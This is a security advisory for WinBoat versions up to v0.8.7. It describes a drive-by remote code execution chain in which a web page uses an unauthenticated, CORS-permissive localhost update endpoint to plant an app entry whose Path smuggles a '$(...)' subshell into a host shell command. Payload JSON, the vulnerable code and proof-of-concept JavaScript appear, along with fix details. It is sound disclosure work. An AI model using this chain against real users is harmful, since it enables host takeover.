WinBoat: Drive by Client RCE + Sandbox excape.
Overview #
WinBoat exposes a Windows “guest service” HTTP API on the host at http://localhost:7148/. The service accepts unauthenticated and has no csrf protections. It is configured with permissive CORS (not nessesory for the exploit but makes for a nice POC). This means we can make requests from our “attackers” site including including an /update endpoint.
By POSTing to /update, an attacker can replace a component (e.g., guest_server) and compromise the container. A compromised container can then return malicious “app entries” to the host. The host renderer trusts the guest-provided Path field and interpolates it into a shell command, which leads to command execution on the Linux host the next time the user clicks the app entry.
Video link: YouTube PoC
Attack Flow #
- A remote webpage sends a cross-origin request to
http://localhost:7148/update(permissive CORS). - The unauthenticated
/updateaccepts attacker-controlled content and replacesguest_server→ container compromise. - The compromised container returns a malicious app list containing an attacker-controlled
Path. - The host renderer builds & executes a shell command using that
Path→ Linux host compromise when the user clicks the app.
Guest → Host Trust Boundary Break #
The malicious app entry looks like:
[
{
"Name": "Hax",
"Path": "$(gnome-calculator)"
}
]
The renderer treats the guest-provided Path as trusted and uses it to construct a shell command. The vulnerable interpolation is here:
- WinBoat source:
src/renderer/lib/winboat.ts(#L707)https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707
let cmd = `${freeRDPBin} /u:"${username}"\
/p:"${password}"\
/v:127.0.0.1\
/port:${rdpHostPort}\
${this.#wbConfig?.config.multiMonitor == 2 ? "+span" : ""}\
-wallpaper\
${this.#wbConfig?.config.multiMonitor == 1 ? "/multimon" : ""}\
${this.#wbConfig?.config.smartcardEnabled ? "/smartcard" : ""}\
/scale-desktop:${this.#wbConfig?.config.scaleDesktop ?? 100}\
${combinedArgs}\
/wm-class:"winboat-${cleanAppName}"\
/app:program:"${app.Path}",name:"${cleanAppName}",cmd:"${app.Args}" &`;
...
await execAsync(cmd);
Remember this code runs on the host to tell the RDP server what to run. Out “Path” now has a unix subshell “$(gnome-calculator)” that gets executed, so we now have full RCE on the host.
Proof of Concept Notes #
My PoC at http://winboat.hack.do/ “vibes” the chain together by abusing /update to replace the apps.ps2 script so the guest returns a single new app entry (“Hax”). Once WinBoat displays it, clicking the app triggers host command execution.
Relevant PoC Chunks (browser → localhost:7148) #
The full PoC has a UI, logging, and metrics polling, but the exploit boils down to:
- Fetching an attacker-controlled ZIP
- Uploading it cross-origin to the unauthenticated local
/updateendpoint - Polling until the service restarts and the malicious
"Hax"app appears in/apps
// 1) Download attacker-controlled ZIP (contains replacement apps.ps2 / guest_server bits)
const response = await fetch(sourceUrl);
...
const zipBlob = await response.blob();
// 2) Upload ZIP to unauthenticated local update endpoint
const zipFile = new File([zipBlob], "upload.zip", { type: "application/zip" });
const form = new FormData();
form.append("updateFile", zipFile);
const uploadResponse = await fetch(destUrl, {
method: "POST",
body: form,
mode: "cors",
});
...
waitForServerRestart()
}
Impact #
- Remote → local bridge: any website can target the user’s local WinBoat service on
localhostwhen CORS is permissive. - Container compromise → host compromise: a compromised guest can feed attacker-controlled data into privileged host-side command execution.
- User interaction: host code execution triggers on the next click of the malicious app entry.
Affected Versions #
- Affected: WinBoat <= v0.8.7
- Fixed: WinBoat v0.9.0
Fixed in v0.9.0 #
This was resolved in WinBoat v0.9.0 by requiring authentication for the local API via a randomly generated password, preventing arbitrary webpages from issuing unauthenticated update requests.
- Fix:
https://github.com/TibixDev/winboat/commit/403227500a590ad9a82be1237d47a22fae230f36 - Related change (migration from
execSyncto async execution):
Commit3ca4186— “Migrate from execSync to execAsync”
Recommendations #
- Treat guest-provided fields like
Pathas untrusted input; avoid shell interpolation entirely (prefer direct exec with args, strict allowlists, or structured IPC). - Keep local privileged services authenticated and avoid permissive CORS on sensitive endpoints (especially update/install surfaces).
References #
- WinBoat project site
- PoC video: YouTube
- Vulnerable interpolation:
https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707 - Fix commit:
https://github.com/TibixDev/winboat/commit/403227500a590ad9a82be1237d47a22fae230f36 - Related commit: 3ca4186